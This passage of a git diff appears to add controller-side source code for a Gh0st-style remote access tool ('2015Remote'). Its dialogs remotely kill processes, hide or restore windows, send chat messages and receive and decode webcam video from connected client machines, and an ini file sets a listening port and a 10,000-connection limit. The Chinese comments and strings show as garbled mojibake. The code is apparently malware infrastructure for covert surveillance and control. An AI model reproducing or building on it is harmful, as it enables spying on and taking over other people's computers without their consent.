(ListCtrl->GetSelectedCount() > 1) + { + str.Format("%sȷʵ\nֹ%d?", szTips, ListCtrl->GetSelectedCount()); + } + else + { + str.Format("%sȷʵ\nֹ?", szTips); + } + if (::MessageBox(m_hWnd, str, "̽", MB_YESNO|MB_ICONQUESTION) == IDNO) + return; + + DWORD dwOffset = 1; + POSITION Pos = ListCtrl->GetFirstSelectedItemPosition(); + //õҪĸ + while(Pos) + { + int nItem = ListCtrl->GetNextSelectedItem(Pos); + DWORD dwProcessID = ListCtrl->GetItemData(nItem); + memcpy(szBuffer + dwOffset, &dwProcessID, sizeof(DWORD)); //sdkfj101112 + dwOffset += sizeof(DWORD); + } + //ݵضڱضвCOMMAND_KILLPROCESSͷ + m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); + + Sleep(100); + + OnPlistRefresh(); +} + + +VOID CSystemDlg::OnPlistRefresh() +{ + if (m_ControlList.IsWindowVisible()) + { + m_ControlList.DeleteAllItems(); + GetProcessList(); + ShowProcessList(); + } +} + + +VOID CSystemDlg::GetProcessList(void) +{ + BYTE bToken = COMMAND_PSLIST; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); +} + + +void CSystemDlg::OnWlistRefresh() +{ + GetWindowsList(); +} +void CSystemDlg::GetWindowsList(void) +{ + BYTE bToken = COMMAND_WSLIST; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); +} + + +void CSystemDlg::OnReceiveComplete(void) +{ + switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + { + case TOKEN_PSLIST: + { + ShowProcessList(); + + break; + } + case TOKEN_WSLIST: + { + ShowWindowsList(); + break; + } + + default: + // ䷢쳣 + break; + } +} + + +void CSystemDlg::OnWlistClose() +{ + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_ControlList; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem>=0) + { + + ZeroMemory(lpMsgBuf,20); + lpMsgBuf[0]=COMMAND_WINDOW_CLOSE; //עǵͷ + + DWORD hwnd = pListCtrl->GetItemData(nItem); //õڵľһͬ 4 djfkdfj dkfjf 4 + memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4 + m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + + } +} + + +void CSystemDlg::OnWlistHide() +{ + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_ControlList; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem>=0) + { + ZeroMemory(lpMsgBuf,20); + lpMsgBuf[0]=COMMAND_WINDOW_TEST; //ڴͷ + DWORD hwnd = pListCtrl->GetItemData(nItem); //õڵľһͬ + pListCtrl->SetItemText(nItem,2,""); //עʱбеʾ״̬Ϊ"" + //ɾбĿʱͲɾ ɾھᶪʧ ԶҲʾ + memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //õڵľһͬ + DWORD dHow=SW_HIDE; //ڴ 0 + memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); + m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + } +} + + +void CSystemDlg::OnWlistRecover() +{ + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_ControlList; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem>=0) + { + ZeroMemory(lpMsgBuf,20); + lpMsgBuf[0]=COMMAND_WINDOW_TEST; + DWORD hwnd = pListCtrl->GetItemData(nItem); + pListCtrl->SetItemText(nItem,2,"ʾ"); + memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); + DWORD dHow=SW_NORMAL; + memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); + m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + } +} + + +void CSystemDlg::OnWlistMax() +{ + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_ControlList; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem>=0) + { + ZeroMemory(lpMsgBuf,20); + lpMsgBuf[0]=COMMAND_WINDOW_TEST; + DWORD hwnd = pListCtrl->GetItemData(nItem); + pListCtrl->SetItemText(nItem,2,"ʾ"); + memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); + DWORD dHow=SW_MAXIMIZE; + memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); + m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + } +} + + +void CSystemDlg::OnWlistMin() +{ + BYTE lpMsgBuf[20]; + CListCtrl *pListCtrl = NULL; + pListCtrl = &m_ControlList; + + int nItem = pListCtrl->GetSelectionMark(); + if (nItem>=0) + { + ZeroMemory(lpMsgBuf,20); + lpMsgBuf[0]=COMMAND_WINDOW_TEST; + DWORD hwnd = pListCtrl->GetItemData(nItem); + pListCtrl->SetItemText(nItem,2,"ʾ"); + memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); + DWORD dHow=SW_MINIMIZE; + memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); + m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + + }// TODO: ڴ +} diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h new file mode 100644 index 0000000..9c0f5b1 --- /dev/null +++ b/server/2015Remote/SystemDlg.h @@ -0,0 +1,42 @@ +#pragma once +#include "afxcmn.h" + +#include "IOCPServer.h" +// CSystemDlg Ի + +class CSystemDlg : public CDialog +{ + DECLARE_DYNAMIC(CSystemDlg) + +public: + CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); + virtual ~CSystemDlg(); + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + VOID CSystemDlg::GetProcessList(void); + VOID CSystemDlg::ShowProcessList(void); + void CSystemDlg::ShowWindowsList(void); + void CSystemDlg::GetWindowsList(void); + void CSystemDlg::OnReceiveComplete(void); + BOOL m_bHow; +// Ի + enum { IDD = IDD_DIALOG_SYSTEM }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CListCtrl m_ControlList; + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); + afx_msg void OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnPlistKill(); + afx_msg void OnPlistRefresh(); + afx_msg void OnWlistRefresh(); + afx_msg void OnWlistClose(); + afx_msg void OnWlistHide(); + afx_msg void OnWlistRecover(); + afx_msg void OnWlistMax(); + afx_msg void OnWlistMin(); +}; diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp new file mode 100644 index 0000000..6d90ee4 --- /dev/null +++ b/server/2015Remote/TalkDlg.cpp @@ -0,0 +1,104 @@ +// TalkDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "TalkDlg.h" +#include "afxdialogex.h" + +// CTalkDlg Ի + +IMPLEMENT_DYNAMIC(CTalkDlg, CDialog) + +CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) + : CDialog(CTalkDlg::IDD, pParent) +{ + m_iocpServer = IOCPServer; + m_ContextObject = ContextObject; +} + +CTalkDlg::~CTalkDlg() +{ +} + +void CTalkDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk); +} + + +BEGIN_MESSAGE_MAP(CTalkDlg, CDialog) + ON_BN_CLICKED(IDC_BUTTON_TALK, &CTalkDlg::OnBnClickedButtonTalk) + ON_WM_CLOSE() +END_MESSAGE_MAP() + + +// CTalkDlg Ϣ + + +BOOL CTalkDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + BYTE bToken = COMMAND_NEXT; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + + +void CTalkDlg::OnBnClickedButtonTalk() +{ + int iLength = m_EditTalk.GetWindowTextLength(); //EditBox ϻݳ + + if (!iLength) + { + return; + } + + CString strData; + m_EditTalk.GetWindowText(strData); //EditBox ϻ + + char* szBuffer = new char[iLength + 1]; // 2019.1.5 1 + memset(szBuffer,0,sizeof(char)*iLength); + + strcpy(szBuffer,strData.GetBuffer(0)); + + m_EditTalk.SetWindowText(NULL); //EditBox ϵ + + m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//Լڴеݷ + delete [] szBuffer; +} + + +BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg) +{ + if (pMsg->message == WM_KEYDOWN) + { + // VK_ESCAPEVK_DELETE + if (pMsg->wParam == VK_ESCAPE) + return true; + //ǿɱ༭Ļس + if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_EditTalk.m_hWnd) + { + OnBnClickedButtonTalk(); + + return TRUE; + } + } + + return CDialog::PreTranslateMessage(pMsg); +} + + +void CTalkDlg::OnClose() +{ + // TODO: ڴϢ/Ĭֵ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + CDialog::OnClose(); + delete this; +} diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h new file mode 100644 index 0000000..52143a6 --- /dev/null +++ b/server/2015Remote/TalkDlg.h @@ -0,0 +1,29 @@ +#pragma once +#include "IOCPServer.h" +#include "afxwin.h" + +// CTalkDlg Ի + +class CTalkDlg : public CDialog +{ + DECLARE_DYNAMIC(CTalkDlg) + +public: + CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // ׼캯 + virtual ~CTalkDlg(); + + // Ի + enum { IDD = IDD_DIALOG_TALK }; + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CEdit m_EditTalk; + virtual BOOL OnInitDialog(); + afx_msg void OnBnClickedButtonTalk(); + virtual BOOL PreTranslateMessage(MSG* pMsg); + afx_msg void OnClose(); +}; diff --git a/server/2015Remote/TrueColorToolBar.cpp b/server/2015Remote/TrueColorToolBar.cpp new file mode 100644 index 0000000..6f90fea --- /dev/null +++ b/server/2015Remote/TrueColorToolBar.cpp @@ -0,0 +1,138 @@ +/***========================================================================= +==== ==== +==== D C U t i l i t y ==== +==== ==== +============================================================================= +==== ==== +==== File name : TrueColorToolBar.cpp ==== +==== Project name : Tester ==== +==== Project number : --- ==== +==== Creation date : 13/1/2003 ==== +==== Author(s) : Dany Cantin ==== +==== ==== +==== Copyright ?DCUtility 2003 ==== +==== ==== +============================================================================= +===========================================================================*/ + +#include "stdafx.h" +#include "TrueColorToolBar.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CTrueColorToolBar + +CTrueColorToolBar::CTrueColorToolBar() +{ + m_bDropDown = FALSE; +} + +CTrueColorToolBar::~CTrueColorToolBar() +{ +} + + +BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar) + ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CTrueColorToolBar message handlers +BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth, + UINT uToolBar, + UINT uToolBarHot, + UINT uToolBarDisabled) +{ + if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth)) + return FALSE; + + if (uToolBarHot) { + if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth)) + return FALSE; + } + + if (uToolBarDisabled) { + if (!SetTrueColorToolBar(TB_SETDISABLEDIMAGELIST, uToolBarDisabled, nBtnWidth)) + return FALSE; + } + + return TRUE; +} + + +BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType, + UINT uToolBar, + int nBtnWidth) +{ + CImageList cImageList; + CBitmap cBitmap; + BITMAP bmBitmap; + + if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar), + IMAGE_BITMAP, 0, 0, + LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) || + !cBitmap.GetBitmap(&bmBitmap)) + return FALSE; + + CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight); + int nNbBtn = cSize.cx/nBtnWidth; + RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits); + COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue); + + if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0)) + return FALSE; + + if (cImageList.Add(&cBitmap, rgbMask) == -1) + return FALSE; + + SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList); + cImageList.Detach(); + cBitmap.Detach(); + + return TRUE; +} + +void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID) +{ + if (!m_bDropDown) { + GetToolBarCtrl().SendMessage(TB_SETEXTENDEDSTYLE, 0, (LPARAM)TBSTYLE_EX_DRAWDDARROWS); + m_bDropDown = TRUE; + } + + SetButtonStyle(CommandToIndex(uButtonID), TBSTYLE_DROPDOWN); + + stDropDownInfo DropDownInfo; + DropDownInfo.pParent = pParent; + DropDownInfo.uButtonID = uButtonID; + DropDownInfo.uMenuID = uMenuID; + m_lstDropDownButton.Add(DropDownInfo); +} + +void CTrueColorToolBar::OnToolbarDropDown(NMHDR * pnmtb, LRESULT *plr) +{ + NMTOOLBARA * pnmtbb=(NMTOOLBARA *)pnmtb; + for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) { + + stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i); + + if (DropDownInfo.uButtonID == UINT(pnmtbb->iItem)) { + + CMenu menu; + menu.LoadMenu(DropDownInfo.uMenuID); + CMenu* pPopup = menu.GetSubMenu(0); + + CRect rc; + SendMessage(TB_GETRECT, (WPARAM)pnmtbb->iItem, (LPARAM)&rc); + ClientToScreen(&rc); + + pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL, + rc.left, rc.bottom, DropDownInfo.pParent, &rc); + break; + } + } +} diff --git a/server/2015Remote/TrueColorToolBar.h b/server/2015Remote/TrueColorToolBar.h new file mode 100644 index 0000000..4f057b6 --- /dev/null +++ b/server/2015Remote/TrueColorToolBar.h @@ -0,0 +1,81 @@ +/***========================================================================= +==== ==== +==== D C U t i l i t y ==== +==== ==== +============================================================================= +==== ==== +==== File name : TrueColorToolBar.h ==== +==== Project name : Tester ==== +==== Project number : --- ==== +==== Creation date : 13/1/2003 ==== +==== Author(s) : Dany Cantin ==== +==== ==== +==== Copyright ?DCUtility 2003 ==== +==== ==== +============================================================================= +===========================================================================*/ + + +#ifndef TRUECOLORTOOLBAR_H_ +#define TRUECOLORTOOLBAR_H_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + + +#include + +///////////////////////////////////////////////////////////////////////////// +// CTrueColorToolBar + +class CTrueColorToolBar : public CToolBar +{ + // Construction +public: + CTrueColorToolBar(); + + // Attributes +private: + BOOL m_bDropDown; + + struct stDropDownInfo { + public: + UINT uButtonID; + UINT uMenuID; + CWnd* pParent; + }; + + CArray m_lstDropDownButton; + + // Operations +public: + BOOL LoadTrueColorToolBar(int nBtnWidth, + UINT uToolBar, + UINT uToolBarHot = 0, + UINT uToolBarDisabled = 0); + + void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID); + +private: + BOOL SetTrueColorToolBar(UINT uToolBarType, + UINT uToolBar, + int nBtnWidth); + + // Implementation +public: + virtual ~CTrueColorToolBar(); + + // Generated message map functions +protected: + afx_msg void OnToolbarDropDown(NMHDR * pnmh, LRESULT* plRes); + + DECLARE_MESSAGE_MAP() +}; + +///////////////////////////////////////////////////////////////////////////// + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // TRUECOLORTOOLBAR_H_ diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp new file mode 100644 index 0000000..26114da --- /dev/null +++ b/server/2015Remote/VideoDlg.cpp @@ -0,0 +1,242 @@ +// VideoDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "VideoDlg.h" +#include "afxdialogex.h" + + +enum +{ + IDM_SAVEAVI, // ¼ +}; +// CVideoDlg Ի + +IMPLEMENT_DYNAMIC(CVideoDlg, CDialog) + +CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) + : CDialog(CVideoDlg::IDD, pParent) +{ + m_ContextObject = ContextObject; + m_iocpServer = IOCPServer; + m_BitmapInfor_Full = NULL; + m_pVideoCodec = NULL; //dzʼ ҿ + sockaddr_in ClientAddress; + memset(&ClientAddress, 0, sizeof(ClientAddress)); + int iClientAddressLength = sizeof(ClientAddress); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength); + m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""; + + m_BitmapData_Full = NULL; + m_BitmapCompressedData_Full = NULL; + ResetScreen(); +} + + +void CVideoDlg::ResetScreen(void) +{ + if (m_BitmapInfor_Full) + { + delete m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + + int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; + m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize]; + memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), iBitMapInforSize); + + m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage]; + m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage]; +} + +CVideoDlg::~CVideoDlg() +{ + if (m_pVideoCodec) + { + delete m_pVideoCodec; + m_pVideoCodec = NULL; + } + + if (m_BitmapData_Full) + { + delete m_BitmapData_Full; + m_BitmapData_Full = NULL; + } + + if (m_BitmapInfor_Full) + { + delete m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + + if (m_BitmapCompressedData_Full) + { + delete m_BitmapCompressedData_Full; + m_BitmapCompressedData_Full = NULL; + } +} + +void CVideoDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + + +BEGIN_MESSAGE_MAP(CVideoDlg, CDialog) + ON_WM_CLOSE() + ON_WM_SYSCOMMAND() + ON_WM_PAINT() +END_MESSAGE_MAP() + + +// CVideoDlg Ϣ + + +BOOL CVideoDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CMenu* SysMenu = GetSystemMenu(FALSE); + if (SysMenu != NULL) + { + m_hDD = DrawDibOpen(); + + m_hDC = ::GetDC(m_hWnd); + + SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "¼(&V)"); + + CString strString; + + strString.Format("%s - Ƶ %d%d", m_strIPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + + SetWindowText(strString); + + BYTE bToken = COMMAND_NEXT; + + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + } + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + +void CVideoDlg::OnClose() +{ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + + CDialog::OnClose(); + delete this; +} + +void CVideoDlg::OnReceiveComplete(void) +{ + switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + { + case TOKEN_WEBCAM_DIB: + { + DrawDIB();//ǻͼתĴ뿴һ + break; + } + default: + // ䷢쳣 + break; + } +} + +void CVideoDlg::DrawDIB(void) +{ + CMenu* SysMenu = GetSystemMenu(FALSE); + if (SysMenu == NULL) + return; + + int nHeadLen = 1 + 1 + 4; + + LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); + UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength(); + if (szBuffer[1] == 0) // ûоH263ѹԭʼݣҪ + { + // һΣûѹ˵˲ָ֧Ľ + /* if (m_nCount == 1) + { + pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); + } + pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); + memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);*/ + } + + else // + { + ////ﻺĵĵڶַǷƵ + InitCodec(*(LPDWORD)(szBuffer + 2)); //ж + if (m_pVideoCodec != NULL) + { + //pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); + memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //Ƶûнѹ + //↑ʼ룬ͬδѹһ ʾԻϡ ʼƵaviʽ + m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen, + (LPBYTE)m_BitmapData_Full, NULL, NULL); //Ƶݽѹm_lpScreenDIB + + /* m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen, + (LPBYTE)m_lpScreenDIB, NULL, NULL); //Ƶݽѹm_lpScreenDIB*/ + } + } + + PostMessage(WM_PAINT); +} + + +void CVideoDlg::InitCodec(DWORD fccHandler) +{ + if (m_pVideoCodec != NULL) + return; + + m_pVideoCodec = new CVideoCodec; + if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) //˸ʽ ƥ + { + OutputDebugStringA("======> InitCompressor failed \n"); + } +} + + +void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + // TODO: ڴϢ/Ĭֵ + switch (nID) + { + case IDM_SAVEAVI: + { + break; + } + } + + CDialog::OnSysCommand(nID, lParam); +} + + +void CVideoDlg::OnPaint() +{ + CPaintDC dc(this); // device context for painting + + if (m_BitmapData_Full==NULL) + { + return; + } + RECT rect; + GetClientRect(&rect); + + DrawDibDraw + ( + m_hDD, + m_hDC, + 0, 0, + rect.right, rect.bottom, + (LPBITMAPINFOHEADER)m_BitmapInfor_Full, + m_BitmapData_Full, + 0, 0, + m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, + DDF_SAME_HDC + ); +} diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h new file mode 100644 index 0000000..4dbb3d4 --- /dev/null +++ b/server/2015Remote/VideoDlg.h @@ -0,0 +1,177 @@ +#pragma once + +#include "IOCPServer.h" + + +#include + +#pragma comment(lib,"Vfw32.lib") + +class CVideoCodec +{ + COMPVARS m_cv; + HIC m_hIC; + BITMAPINFO* m_lpbmiInput; + BITMAPINFO m_bmiOutput; +public: + + bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler) + { + if (lpbmi == NULL) + return false; + + m_lpbmiInput = lpbmi; + + ZeroMemory(&m_cv, sizeof(m_cv)); + m_cv.cbSize = sizeof(m_cv); + m_cv.dwFlags = ICMF_COMPVARS_VALID; + m_cv.hic = m_hIC; + m_cv.fccType = ICTYPE_VIDEO; + m_cv.fccHandler = fccHandler; + m_cv.lpbiOut = NULL; + m_cv.lKey = 10; + m_cv.lDataRate = 6; + m_cv.lQ = ICQUALITY_HIGH; + + m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS); + + if (m_hIC == NULL) + { + return false; + } + + ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); + // ֤ + ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); + + m_cv.hic = m_hIC; + m_cv.dwFlags = ICMF_COMPVARS_VALID; + + if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) + { + return false; + } + + ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput); + + return true; + } + + bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag) + { + if(!pin || !pout ||!m_hIC) + return false; + if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK) + return false; + + if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage; + + return true; + } + + bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey) + { + BYTE *p; + long s = 1; + BOOL k = true; + if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC) + return false; + p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s); + + if (!p) return false; + if (lenr) *lenr = s; + if (pKey) *pKey = k; + + CopyMemory(pout, p, s); + + return true; + } + + CVideoCodec() + { + m_lpbmiInput = NULL; + } + + virtual ~CVideoCodec() + { + // No init yet or init error + if (m_hIC == NULL) + return; + ICDecompressEnd(m_hIC); + ICSeqCompressFrameEnd(&m_cv); + ICCompressorFree(&m_cv); + ICClose(m_hIC); + } + int MyEnumCodecs(int *fccHandler, char *strName) + { + static int i = 0; + int nRet = 1; + HIC hIC; + ICINFO icInfo; + + if (fccHandler == NULL) + return 0; + + if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) + { + i = 0; + return 0; + } + hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY); + + if (hIC) + { + ICGetInfo(hIC, &icInfo, sizeof(icInfo)); + *fccHandler = icInfo.fccHandler; + //ڵõszDescriptionUNICODE˫ִֽҪתΪASCII + if (strName != NULL) + wcstombs(strName, icInfo.szDescription, 256); + } + else nRet = -1; + + ICClose(hIC); + i++; + return nRet; + } +}; + + +// CVideoDlg Ի + +class CVideoDlg : public CDialog +{ + DECLARE_DYNAMIC(CVideoDlg) + +public: + CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + virtual ~CVideoDlg(); + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + CString m_strIPAddress; + + LPBITMAPINFO m_BitmapInfor_Full; + BYTE* m_BitmapData_Full; + BYTE* m_BitmapCompressedData_Full; + void CVideoDlg::ResetScreen(void); + void CVideoDlg::OnReceiveComplete(void); + void CVideoDlg::DrawDIB(void); + + void CVideoDlg::InitCodec(DWORD fccHandler); + + HDC m_hDC; + HDRAWDIB m_hDD; + + CVideoCodec *m_pVideoCodec; // Ƶѹ + // Ի + enum { IDD = IDD_DIALOG_VIDEO }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); +}; diff --git a/server/2015Remote/iniFile.cpp b/server/2015Remote/iniFile.cpp new file mode 100644 index 0000000..799c6d7 --- /dev/null +++ b/server/2015Remote/iniFile.cpp @@ -0,0 +1,63 @@ +#include "StdAfx.h" +#include "iniFile.h" + +iniFile::iniFile(void) +{ + ContructIniFile(); +} + +BOOL iniFile::ContructIniFile() +{ + char szFilePath[MAX_PATH] = {0}; + char* FindPoint = NULL; + + ::GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)); + + FindPoint = strrchr(szFilePath,'.'); + if (FindPoint!=NULL) + { + *FindPoint = '\0'; + strcat(szFilePath,".ini"); + } + + m_IniFilePath = szFilePath; //ֵļ 鿴 һԱ IniFileName + + HANDLE hFile = CreateFileA(m_IniFilePath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //ͬ 첽 + + if (hFile==INVALID_HANDLE_VALUE) + { + return FALSE; + } + + ULONG ulLow = GetFileSize(hFile,NULL); + + if (ulLow>0) + { + CloseHandle(hFile); + + return FALSE; + } + + CloseHandle(hFile); + + WritePrivateProfileString("Settings", "ListenPort","2356",m_IniFilePath); + WritePrivateProfileString("Settings", "MaxConnection","10000",m_IniFilePath); + + return TRUE; +} + +int iniFile::GetInt(CString MainKey,CString SubKey) //"Setting" "ListenPort" +{ + return ::GetPrivateProfileInt(MainKey, SubKey,0,m_IniFilePath); +} + +BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data)//8888 +{ + CString strData; + strData.Format("%d", Data); //2356 + return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath); +} + +iniFile::~iniFile(void) +{ +} diff --git a/server/2015Remote/iniFile.h b/server/2015Remote/iniFile.h new file mode 100644 index 0000000..7219fc3 --- /dev/null +++ b/server/2015Remote/iniFile.h @@ -0,0 +1,12 @@ 